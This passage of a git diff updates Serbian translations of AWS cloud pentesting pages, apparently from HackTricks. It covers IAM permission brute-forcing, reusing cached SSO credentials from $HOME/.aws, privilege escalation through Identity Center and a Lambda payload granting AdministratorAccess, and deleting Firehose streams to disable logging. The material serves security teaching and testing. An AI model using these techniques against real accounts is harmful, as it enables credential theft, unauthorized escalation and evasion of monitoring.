preuzmu vremenski zahtevne zadatke kao što su obezbeđivanje, zakrčivanje, praćenje i **rezervne kopije**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 7f45cd901..96d7cfa86 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -15,10 +15,10 @@ Ključne karakteristike uključuju: - HDFS Block transfer enkripcija, postavljena na true, koristi AES-256 algoritam. - **Enkripcija u tranzitu**: Fokusira se na zaštitu podataka tokom prenosa. Opcije uključuju: - **Open Source Transport Layer Security (TLS)**: Enkripcija se može omogućiti izborom provajdera sertifikata: -- **PEM**: Zahteva ručno kreiranje i pakovanje PEM sertifikata u zip fajl, referenciran iz S3 bucket-a. +- **PEM**: Zahteva ručno kreiranje i pakovanje PEM sertifikata u zip datoteku, referenciranu iz S3 bucket-a. - **Prilagođeno**: Uključuje dodavanje prilagođene Java klase kao provajdera sertifikata koji obezbeđuje enkripcijske artefakte. -Kada se provajder TLS sertifikata integriše u konfiguraciju bezbednosti, sledeće funkcije enkripcije specifične za aplikaciju mogu biti aktivirane, u zavisnosti od verzije EMR: +Jednom kada je provajder TLS sertifikata integrisan u konfiguraciju bezbednosti, sledeće funkcije enkripcije specifične za aplikaciju mogu biti aktivirane, u zavisnosti od verzije EMR: - **Hadoop**: - Može smanjiti enkriptovani shuffle koristeći TLS. @@ -51,7 +51,7 @@ aws emr list-studios #Get studio URLs ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## Reference +## References - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 42e868433..6770ddfaa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -88,9 +88,9 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` -### Permissions Brute Force +### Dozvola Brute Force -Ako ste zainteresovani za svoje dozvole, ali nemate pristup za upit IAM, uvek možete da ih brute-force. +Ako ste zainteresovani za svoje dozvole, ali nemate pristup za upit IAM, uvek možete da ih brute-forcujete. #### bf-aws-permissions @@ -126,13 +126,13 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> Ako pronađete .tfstate (Terraform state files) ili CloudFormation datoteke (to su obično yaml datoteke smeštene unutar bucket-a sa prefiksom cf-templates), možete ih takođe pročitati da pronađete aws konfiguraciju i saznate koje su dozvole dodeljene kome. +> Ako pronađete .tfstate (Terraform state files) ili CloudFormation datoteke (ove su obično yaml datoteke smeštene unutar bucket-a sa prefiksom cf-templates), možete ih takođe pročitati da biste pronašli aws konfiguraciju i saznali koje su dozvole dodeljene kome. #### enumerate-iam -Da biste koristili alat [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), prvo treba da preuzmete sve API AWS krajnje tačke, od kojih će skripta **`generate_bruteforce_tests.py`** dobiti sve **"list\_", "describe\_", i "get\_" krajnje tačke.** I na kraju, pokušaće da **pristupi njima** sa datim akreditivima i **naznači da li je uspelo**. +Da biste koristili alat [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), prvo treba da preuzmete sve API AWS krajnje tačke, od kojih će skripta **`generate_bruteforce_tests.py`** dobiti sve **"list\_", "describe\_", i "get\_" krajnje tačke.** I na kraju, pokušaće da **pristupi njima** sa datim kredencijalima i **naznači da li je uspelo**. -(U mom iskustvu, **alat se u nekom trenutku zamrzne**, [**pogledajte ovo rešenje**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) da biste pokušali da to popravite). +(U mom iskustvu, **alat se u nekom trenutku zamrzava**, [**pogledajte ovo rešenje**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) da biste pokušali da to popravite). > [!WARNING] > U mom iskustvu, ovaj alat je kao prethodni, ali radi lošije i proverava manje dozvola. @@ -208,7 +208,7 @@ steampipe dashboard #### \ -Ni jedan od prethodnih alata nije sposoban da proveri skoro sve dozvole, pa ako znate bolji alat pošaljite PR! +Nijedan od prethodnih alata nije sposoban da proveri skoro sve dozvole, pa ako znate bolji alat pošaljite PR! ### Neautentifikovani Pristup @@ -230,7 +230,7 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite IAM dozvole za e ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Perzistencija +### IAM Persistencija {{#ref}} ../aws-persistence/aws-iam-persistence.md @@ -255,7 +255,7 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### Enumeracija Glavni elementi Identity Centra su: @@ -263,10 +263,10 @@ Glavni elementi Identity Centra su: - Skupovi dozvola: Imaju pridružene politike - AWS računi -Zatim se kreiraju odnosi tako da korisnici/grupe imaju skupove dozvola nad AWS računom. +Zatim, odnosi se kreiraju tako da korisnici/grupe imaju Skupove dozvola nad AWS računom. -> [!NOTE] -> Imajte na umu da postoje 3 načina za pridruživanje politika skupu dozvola. Pridruživanje AWS upravljanim politikama, politikama koje upravlja korisnik (ove politike treba da budu kreirane u svim računima na koje utiče skup dozvola), i inline politikama (definisanim tamo). +> [!NAPOMENA] +> Imajte na umu da postoje 3 načina za pridruživanje politika Skupu dozvola. Pridruživanje AWS upravljanim politikama, politikama koje upravlja korisnik (ove politike treba da budu kreirane u svim računima na koje Skup dozvola utiče) i inline politikama (definisanim tamo). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### Lokalna Enumeracija -Moguće je kreirati unutar fascikle `$HOME/.aws` datoteku config za konfiguraciju profila koji su dostupni putem SSO, na primer: +Moguće je kreirati unutar foldera `$HOME/.aws` datoteku config za konfiguraciju profila koji su dostupni putem SSO, na primer: ```ini [default] region = us-west-2 @@ -327,9 +327,9 @@ aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -Kada se **profil iz SSO koristi** za pristup nekim informacijama, kredencijali se **keširaju** u datoteci unutar fascikle **`$HOME/.aws/sso/cache`**. Stoga se mogu **čitati i koristiti odatle**. +Kada se **profil iz SSO koristi** za pristup nekim informacijama, kredencijali se **keširaju** u datoteci unutar fascikle **`$HOME/.aws/sso/cache`**. Stoga se mogu **pročitati i koristiti odatle**. -Pored toga, **dodatni kredencijali** mogu biti pohranjeni u fascikli **`$HOME/.aws/cli/cache`**. Ova keš direktorija se prvenstveno koristi kada radite sa **AWS CLI profilima** koji koriste IAM korisničke kredencijale ili **pretpostavljaju** uloge putem IAM (bez SSO). Primer konfiguracije: +Pored toga, **dodatni kredencijali** mogu biti pohranjeni u fascikli **`$HOME/.aws/cli/cache`**. Ova keš direktorijum se prvenstveno koristi kada radite sa **AWS CLI profilima** koji koriste IAM korisničke kredencijale ili **pretpostavljaju** uloge putem IAM (bez SSO). Primer konfiguracije: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -365,8 +365,8 @@ aws identitystore create-user --identity-store-id --user-name privesc ``` - Kreirajte grupu i dodelite joj dozvole i postavite kontrolisanog korisnika - Dajte dodatne dozvole kontrolisanom korisniku ili grupi -- Po defaultu, samo korisnici sa dozvolama iz Upravljčkog naloga će moći da pristupaju i kontrolišu IAM Identity Center. +- Po defaultu, samo korisnici sa dozvolama iz Management Account-a će moći da pristupaju i kontrolišu IAM Identity Center. -Međutim, moguće je putem Delegiranog Administratora omogućiti korisnicima iz drugog naloga da njime upravljaju. Neće imati iste dozvole, ali će moći da obavljaju [**aktivnosti upravljanja**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Međutim, moguće je putem Delegate Administrator-a omogućiti korisnicima iz druge računa da njime upravljaju. Neće imati potpuno iste dozvole, ali će moći da obavljaju [**aktivnosti upravljanja**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 90eb8fcaf..64988faad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -6,7 +6,7 @@ Amazon Kinesis Data Firehose je **potpuno upravljana usluga** koja olakšava isporuku **podataka u realnom vremenu**. Podržava razne destinacije, uključujući Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk i prilagođene HTTP krajnje tačke. -Usluga smanjuje potrebu za pisanjem aplikacija ili upravljanjem resursima omogućavajući proizvođačima podataka da budu konfigurisani da direktno prosleđuju podatke Kinesis Data Firehose. Ova usluga je odgovorna za **automatsku isporuku podataka na određenu destinaciju**. Pored toga, Kinesis Data Firehose pruža opciju da **transformiše podatke pre njihove isporuke**, povećavajući svoju fleksibilnost i primenljivost na različite slučajeve upotrebe. +Usluga smanjuje potrebu za pisanjem aplikacija ili upravljanjem resursima omogućavajući proizvođačima podataka da budu konfigurisani da direktno prosleđuju podatke Kinesis Data Firehose. Ova usluga je odgovorna za **automatsku isporuku podataka na određenu destinaciju**. Pored toga, Kinesis Data Firehose pruža opciju da **transformiše podatke pre njihove isporuke**, poboljšavajući svoju fleksibilnost i primenljivost na različite slučajeve upotrebe. ### Enumeration ```bash @@ -20,7 +20,7 @@ aws firehose describe-delivery-stream --delivery-stream-name | grep -i Ro ``` ## Post-exploitation / Defense Bypass -U slučaju da se firehose koristi za slanje logova ili uvida u odbranu, koristeći ove funkcionalnosti, napadač bi mogao sprečiti njegovo pravilno funkcionisanje. +U slučaju da se firehose koristi za slanje logova ili uvida u odbranu, korišćenjem ovih funkcionalnosti napadač bi mogao sprečiti njegovo pravilno funkcionisanje. ### firehose:DeleteDeliveryStream ``` @@ -36,7 +36,7 @@ aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVs aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` -## References +## Reference - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 833e98dc8..961abf9ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,22 +4,22 @@ ## KMS - Usluga upravljanja ključevima -AWS Usluga upravljanja ključevima (AWS KMS) se predstavlja kao upravljana usluga, pojednostavljujući proces za korisnike da **kreiraju i upravljaju glavnim ključevima kupca** (CMK). Ovi CMK-ovi su ključni za enkripciju korisničkih podataka. Značajna karakteristika AWS KMS-a je da su CMK-ovi pretežno **zaštićeni hardverskim bezbednosnim modulima** (HSM), što poboljšava zaštitu enkripcijskih ključeva. +AWS Usluga upravljanja ključevima (AWS KMS) se predstavlja kao upravljana usluga, pojednostavljujući proces za korisnike da **kreiraju i upravljaju glavnim korisničkim ključevima** (CMK). Ovi CMK-ovi su ključni u enkripciji korisničkih podataka. Značajna karakteristika AWS KMS-a je da su CMK-ovi pretežno **zaštićeni hardverskim bezbednosnim modulima** (HSM), što poboljšava zaštitu enkripcijskih ključeva. -KMS koristi **simetričnu kriptografiju**. Ovo se koristi za **enkripciju informacija u mirovanju** (na primer, unutar S3). Ako treba da **enkriptuješ informacije u prenosu**, moraš koristiti nešto poput **TLS**. +KMS koristi **simetričnu kriptografiju**. Ovo se koristi za **enkripciju informacija u mirovanju** (na primer, unutar S3). Ako treba da **enkriptujete informacije u prenosu**, morate koristiti nešto poput **TLS**. KMS je **usluga specifična za region**. -**Administratori u Amazonu nemaju pristup tvojim ključevima**. Ne mogu da povrate tvoje ključeve i ne pomažu ti u enkripciji tvojih ključeva. AWS jednostavno upravlja operativnim sistemom i osnovnom aplikacijom, a na nama je da upravljamo našim enkripcijskim ključevima i upravljamo kako se ti ključevi koriste. +**Administratori u Amazonu nemaju pristup vašim ključevima**. Ne mogu da povrate vaše ključeve i ne pomažu vam u enkripciji vaših ključeva. AWS jednostavno upravlja operativnim sistemom i osnovnom aplikacijom, a na nama je da upravljamo našim enkripcijskim ključevima i upravljamo kako se ti ključevi koriste. -**Glavni ključevi kupca** (CMK): Mogu enkriptovati podatke do 4KB veličine. Obično se koriste za kreiranje, enkripciju i dekripciju DEK-ova (Ključevi za enkripciju podataka). Zatim se DEK-ovi koriste za enkripciju podataka. +**Glavni korisnički ključevi** (CMK): Mogu enkriptovati podatke do 4KB veličine. Obično se koriste za kreiranje, enkripciju i dekripciju DEK-ova (Ključevi za enkripciju podataka). Zatim se DEK-ovi koriste za enkripciju podataka. -Glavni ključ kupca (CMK) je logička reprezentacija glavnog ključa u AWS KMS-u. Pored identifikatora glavnog ključa i drugih metapodataka, uključujući datum kreiranja, opis i stanje ključa, **CMK sadrži materijal ključa koji se koristi za enkripciju i dekripciju podataka**. Kada kreiraš CMK, po defaultu, AWS KMS generiše materijal ključa za taj CMK. Međutim, možeš izabrati da kreiraš CMK bez materijala ključa i zatim uvezeš svoj materijal ključa u taj CMK. +Glavni korisnički ključ (CMK) je logička reprezentacija glavnog ključa u AWS KMS-u. Pored identifikatora glavnog ključa i drugih metapodataka, uključujući datum kreiranja, opis i stanje ključa, **CMK sadrži materijal ključa koji se koristi za enkripciju i dekripciju podataka**. Kada kreirate CMK, po defaultu, AWS KMS generiše materijal ključa za taj CMK. Međutim, možete odabrati da kreirate CMK bez materijala ključa i zatim uvezete svoj materijal ključa u taj CMK. Postoje 2 tipa glavnih ključeva: -- **AWS upravljani CMK-ovi: Koriste ih druge usluge za enkripciju podataka**. Koristi ih usluga koja ih je kreirala u regionu. Kreiraju se prvi put kada implementiraš enkripciju u toj usluzi. Rotira se svake 3 godine i nije moguće promeniti ga. -- **CMK-ovi koje upravlja kupac**: Fleksibilnost, rotacija, konfigurisani pristup i politika ključeva. Omogućavanje i onemogućavanje ključeva. +- **AWS upravljani CMK-ovi: Koriste ih druge usluge za enkripciju podataka**. Koristi ih usluga koja ih je kreirala u regionu. Kreiraju se prvi put kada implementirate enkripciju u toj usluzi. Rotiraju se svake 3 godine i nije moguće promeniti ih. +- **CMK-ovi koje upravlja korisnik**: Fleksibilnost, rotacija, konfigurisani pristup i politika ključeva. Omogućavanje i onemogućavanje ključeva. **Enkripcija u omotu** u kontekstu Usluge upravljanja ključevima (KMS): Dvostepeni hijerarhijski sistem za **enkripciju podataka sa ključem podataka i zatim enkripciju ključa podataka sa glavnim ključem**. @@ -31,13 +31,13 @@ Po **defaultu:** - Daje **IAM-u** **AWS naloga koji poseduje KMS ključ pristup** za upravljanje pristupom KMS ključu putem IAM-a. -Za razliku od drugih politika resursa AWS-a, politika **KMS ključa ne daje automatski dozvolu nijednom od principala naloga**. Da bi se dala dozvola administratorima naloga, **politika ključa mora uključivati eksplicitnu izjavu** koja pruža ovu dozvolu, poput ove. +Za razliku od drugih politika resursa AWS-a, politika **KMS ključa ne daje automatski dozvolu bilo kojem od principala naloga**. Da biste dali dozvolu administratorima naloga, **politika ključa mora uključivati eksplicitnu izjavu** koja pruža ovu dozvolu, poput ove. - Bez omogućavanja naloga(`"AWS": "arn:aws:iam::111122223333:root"`) IAM dozvole neće raditi. - **Omogućava nalogu da koristi IAM politike** za omogućavanje pristupa KMS ključu, pored politike ključa. -**Bez ove dozvole, IAM politike koje omogućavaju pristup ključu su neefikasne**, iako su IAM politike koje negiraju pristup ključu i dalje efikasne. +**Bez ove dozvole, IAM politike koje omogućavaju pristup ključu su neefikasne**, iako su IAM politike koje odbijaju pristup ključu i dalje efikasne. - **Smanjuje rizik da ključ postane neuredan** dajući dozvolu za kontrolu pristupa administratorima naloga, uključujući korisnika root naloga, koji ne može biti obrisan. @@ -65,13 +65,13 @@ Osobine politike: - Dokument zasnovan na JSON-u - Resurs --> Pogođeni resursi (može biti "\*") - Akcija --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (dozvole) -- Efekat --> Dozvoli/Onemogući +- Efekat --> Dozvoli/Odbij - Principal --> arn pogođen - Uslovi (opciono) --> Uslov za davanje dozvola Grantovi: -- Dozvoljava delegiranje vaših dozvola drugom AWS principalu unutar vašeg AWS naloga. Morate ih kreirati koristeći AWS KMS API-je. Može se navesti identifikator CMK, principal koji dobija grant i potrebni nivo operacije (Decrypt, Encrypt, GenerateDataKey...) +- Dozvoljava delegiranje vaših dozvola drugom AWS principalu unutar vašeg AWS naloga. Morate ih kreirati koristeći AWS KMS API-je. Može se naznačiti identifikator CMK, principal koji dobija grant i potrebni nivo operacije (Decrypt, Encrypt, GenerateDataKey...) - Nakon što je grant kreiran, izdaju se GrantToken i GrantID **Pristup**: @@ -92,8 +92,8 @@ Administrator ključeva po defaultu: ### Rotacija CMK-ova -- Što duže isti ključ ostane na mestu, to više podataka se enkriptuje tim ključem, i ako taj ključ bude kompromitovan, šira oblast podataka je u riziku. Pored toga, što duže ključ bude aktivan, verovatnoća da će biti kompromitovan raste. -- **KMS rotira korisničke ključeve svake 365 dana** (ili možete izvršiti proces ručno kad god želite) i **ključevi koje upravlja AWS svake 3 godine** i ovaj put se ne može promeniti. +- Što duže ostane isti ključ, to više podataka se enkriptuje tim ključem, a ako taj ključ bude kompromitovan, šira oblast podataka je u riziku. Pored toga, što duže ključ bude aktivan, verovatnoća da će biti kompromitovan raste. +- **KMS rotira korisničke ključeve svake 365 dana** (ili možete izvršiti proces ručno kad god želite) i **ključeve koje upravlja AWS svake 3 godine** i ovaj put se ne može promeniti. - **Stariji ključevi se čuvaju** za dekripciju podataka koji su enkriptovani pre rotacije - U slučaju kompromitacije, rotacija ključa neće ukloniti pretnju jer će biti moguće dekriptovati sve podatke enkriptovane kompromitovanim ključem. Međutim, **novi podaci će biti enkriptovani novim ključem**. - Ako je **CMK** u stanju **onemogućen** ili **na čekanju** **brisanja**, KMS **neće izvršiti rotaciju ključa** dok se CMK ponovo ne omogući ili brisanje ne otkaže. @@ -101,7 +101,7 @@ Administrator ključeva po defaultu: #### Ručna rotacija - **Novi CMK treba da bude kreiran**, zatim se kreira novi CMK-ID, tako da ćete morati da **ažurirate** svaku **aplikaciju** da **referencira** novi CMK-ID. -- Da biste ovaj proces olakšali, možete **koristiti alias za referenciranje ID ključa** i zatim samo ažurirati ključ na koji alias se odnosi. +- Da biste ovaj proces olakšali, možete **koristiti alias da se pozovete na key-id** i zatim samo ažurirati ključ na koji se alias odnosi. - Morate **čuvati stare ključeve za dekripciju starih fajlova** enkriptovanih tim ključem. Možete uvesti ključeve iz vaše lokalne infrastrukture ključeva. @@ -116,7 +116,7 @@ Sa KMS politikom možete učiniti sledeće: - Ograničiti ko može kreirati ključeve podataka i koje usluge imaju pristup korišćenju ovih ključeva - Ograničiti pristup sistemima samo za enkripciju, samo za dekripciju ili oboje -- Definisati da omogućite sistemima pristup ključevima širom regiona (iako se ne preporučuje jer će kvar u regionu koji hostuje KMS uticati na dostupnost sistema u drugim regionima). +- Definisati da omogućite sistemima pristup ključevima širom regiona (iako se ne preporučuje jer bi neuspeh u regionu koji hostuje KMS uticao na dostupnost sistema u drugim regionima). Ne možete sinhronizovati ili premestiti/kopirati ključeve između regiona; možete samo definisati pravila za omogućavanje pristupa između regiona. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 6652e857f..2e08333b4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,9 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda se opisuje kao **računarska usluga** koja omogućava izvršavanje koda bez potrebe za obezbeđivanjem ili upravljanjem serverima. Karakteriše se sposobnošću da **automatski upravlja alokacijom resursa** potrebnih za izvršavanje koda, obezbeđujući funkcije kao što su visoka dostupnost, skalabilnost i sigurnost. Značajan aspekt Lambda je njen model cena, gde se **naplaćuje isključivo na osnovu vremena obrade** koje se koristi, eliminišući potrebu za inicijalnim ulaganjima ili dugoročnim obavezama. +Amazon Web Services (AWS) Lambda se opisuje kao **računarska usluga** koja omogućava izvršavanje koda bez potrebe za obezbeđivanjem ili upravljanjem serverima. Karakteriše se sposobnošću da **automatski upravlja alokacijom resursa** potrebnih za izvršavanje koda, obezbeđujući funkcije kao što su visoka dostupnost, skalabilnost i sigurnost. Značajan aspekt Lamde je njen model cena, gde se **naplaćuje isključivo na osnovu vremena korišćenja računarskih resursa**, eliminišući potrebu za inicijalnim ulaganjima ili dugoročnim obavezama. -Da biste pozvali lambda, moguće je pozvati je **onoliko često koliko želite** (sa Cloudwatch), **izložiti +Da biste pozvali lambda, moguće je pozvati je **onoliko često koliko želite** (sa Cloudwatch), **izložiti** **URL** endpoint i pozvati je, pozvati je putem **API Gateway** ili čak na osnovu **događaja** kao što su **promene** u podacima u **S3** bucketu ili ažuriranja u **DynamoDB** tabeli. + +**Kod** lambda je smešten u **`/var/task`**. + +### Lambda Aliases Weights + +Lambda može imati **several versions**.\ +I može imati **više od 1** verzije izložene putem **aliases**. **Težine** **svake** od **verzija** izloženih unutar aliasa će odlučiti **koji alias prima poziv** (može biti 90%-10% na primer).\ +Ako je kod **jednog** od aliasa **ranjiv**, možete slati **zahteve dok ranjiva** verzija ne primi eksploataciju. + +![](<../../../images/image (223).png>) + +### Resource Policies + +Lambda politike resursa omogućavaju da **daju pristup drugim uslugama/računima da pozivaju** lambda na primer.\ +Na primer, ovo je politika koja omogućava **bilo kome da pristupi lambda izloženoj putem URL-a**: + +
+ +Ili ovo da dozvoli API Gateway da je pozove: + +
+ +### Lambda Database Proxies + +Kada postoji **stotine** **paralelnih lambda zahteva**, ako svaki od njih treba da **uspostavi i zatvori vezu sa bazom podataka**, jednostavno neće funkcionisati (lambdas su bezdržavne, ne mogu održavati otvorene veze).\ +Tada, ako vaše **Lambda funkcije komuniciraju sa RDS Proxy umesto** vaše instance baze podataka. Ona upravlja povezivanjem potrebnim za skaliranje mnogih simultanih veza koje kreiraju paralelne Lambda funkcije. Ovo omogućava vašim Lambda aplikacijama da **ponovo koriste postojeće veze**, umesto da kreiraju nove veze za svaku invokaciju funkcije. + +### Lambda EFS Filesystems + +Da bi sačuvali i čak delili podatke, **Lambdas mogu pristupiti EFS i montirati ih**, tako da Lambda može čitati i pisati iz njih. + +### Lambda Layers + +Lambda _layer_ je .zip arhiva koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno okruženje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke. + +Moguće je uključiti do **pet slojeva po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstrahuje u `/opt`** direktorijum u okruženju izvršenja. + +Po **defaultu**, **slojevi** koje kreirate su **privatni** za vaš AWS račun. Možete odlučiti da **podelite** layer sa drugim računima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi račun, vaše funkcije mogu **nastaviti da koriste verziju sloja nakon što je obrisana, ili nakon što je vaša dozvola za pristup sloju opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju sloja. + +Funkcije koje su implementirane kao slika kontejnera ne koriste slojeve. Umesto toga, pakujete svoje omiljeno okruženje, biblioteke i druge zavisnosti u sliku kontejnera kada gradite sliku. + +### Lambda Extensions + +Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za praćenje, posmatranje, sigurnost i upravljanje**. Ove ekstenzije, dodate putem [.zip arhiva koristeći Lambda slojeve](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ili uključene u [implementacije slika kontejnera](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), rade u dva režima: **interni** i **eksterni**. + +- **Interni ekstenzije** se spajaju sa procesom izvršenja, manipulišući njegovim pokretanjem koristeći **specifične varijable okruženja za jezik** i **wrapper skripte**. Ova prilagodba se primenjuje na niz okruženja, uključujući **Java Correto 8 i 11, Node.js 10 i 12, i .NET Core 3.1**. +- **Eksterni ekstenzije** rade kao odvojeni procesi, održavajući usklađenost sa životnim ciklusom Lambda funkcije. Kompatibilni su sa raznim okruženjima kao što su **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1**, i **prilagođena okruženja**. + +### Enumeration ```bash aws lambda get-account-settings @@ -54,7 +103,7 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` -#### Putem izloženog URL-a +#### Putem izložene URL adrese ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL @@ -67,7 +116,7 @@ aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -Lambda funkcija pod nazivom "Level6" je dostupna. Hajde da saznamo kako da je pozovemo: +Lambda funkcija pod nazivom "Level6" je dostupna. Hajde da saznamo kako je pozvati: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 07827c93c..5e0f89959 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -28,13 +28,13 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` -### Анализа Снепшотов +### Analiza Snimaka -Могуће је генерисати **инстанце и релационе базе података снепшотове из lightsail**. Стога можете проверити те на исти начин на који можете проверити [**EC2 снепшотове**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) и [**RDS снепшотове**](aws-relational-database-rds-enum.md#enumeration). +Moguće je generisati **snimke instance i relacione baze podataka iz lightsail**. Stoga možete proveriti te snimke na isti način na koji možete proveriti [**EC2 snimke**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) i [**RDS snimke**](aws-relational-database-rds-enum.md#enumeration). -### Мета подаци +### Metapodaci -**Мета подаци ендпоинт је доступан из lightsail**, али машине раде у **AWS налогу који управља AWS** тако да не контролишете **које дозволе су додељене**. Међутим, ако пронађете начин да искористите те, директно бисте искористили AWS. +**Metapodaci su dostupni iz lightsail**, ali mašine rade u **AWS nalogu koji upravlja AWS** tako da ne kontrolišete **koje dozvole su dodeljene**. Međutim, ako pronađete način da iskoristite to, direktno biste iskoristili AWS. ### Privesc @@ -42,13 +42,13 @@ aws lightsail get-key-pairs ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### Post Eksploatacija {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### Persistencija {{#ref}} ../aws-persistence/aws-lightsail-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index f6469894c..2c396cb4b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,17 +6,17 @@ ### Uvod u posrednike poruka -**Posrednici poruka** služe kao posrednici, olakšavajući komunikaciju između različitih softverskih sistema, koji mogu biti izgrađeni na različitim platformama i programirani na različitim jezicima. **Amazon MQ** pojednostavljuje implementaciju, rad i održavanje posrednika poruka na AWS-u. Pruža upravljane usluge za **Apache ActiveMQ** i **RabbitMQ**, osiguravajući besprekornu nabavku i automatske nadogradnje verzija softvera. +**Posrednici poruka** služe kao posrednici, olakšavajući komunikaciju između različitih softverskih sistema, koji mogu biti izgrađeni na različitim platformama i programirani na različitim jezicima. **Amazon MQ** pojednostavljuje implementaciju, rad i održavanje posrednika poruka na AWS-u. Pruža upravljane usluge za **Apache ActiveMQ** i **RabbitMQ**, osiguravajući besprekornu opskrbu i automatske nadogradnje verzija softvera. ### AWS - RabbitMQ -RabbitMQ je istaknuti **softver za redove poruka**, poznat i kao _posrednik poruka_ ili _menadžer redova_. U suštini, to je sistem u kojem su redovi konfigurisani. Aplikacije komuniciraju sa ovim redovima da bi **slale i primale poruke**. Poruke u ovom kontekstu mogu nositi razne informacije, od komandi za pokretanje procesa na drugim aplikacijama (potencijalno na različitim serverima) do jednostavnih tekstualnih poruka. Poruke drži softver menadžera redova dok ih ne preuzme i obradi aplikacija koja prima. AWS pruža jednostavno rešenje za hostovanje i upravljanje RabbitMQ serverima. +RabbitMQ je istaknuti **softver za redove 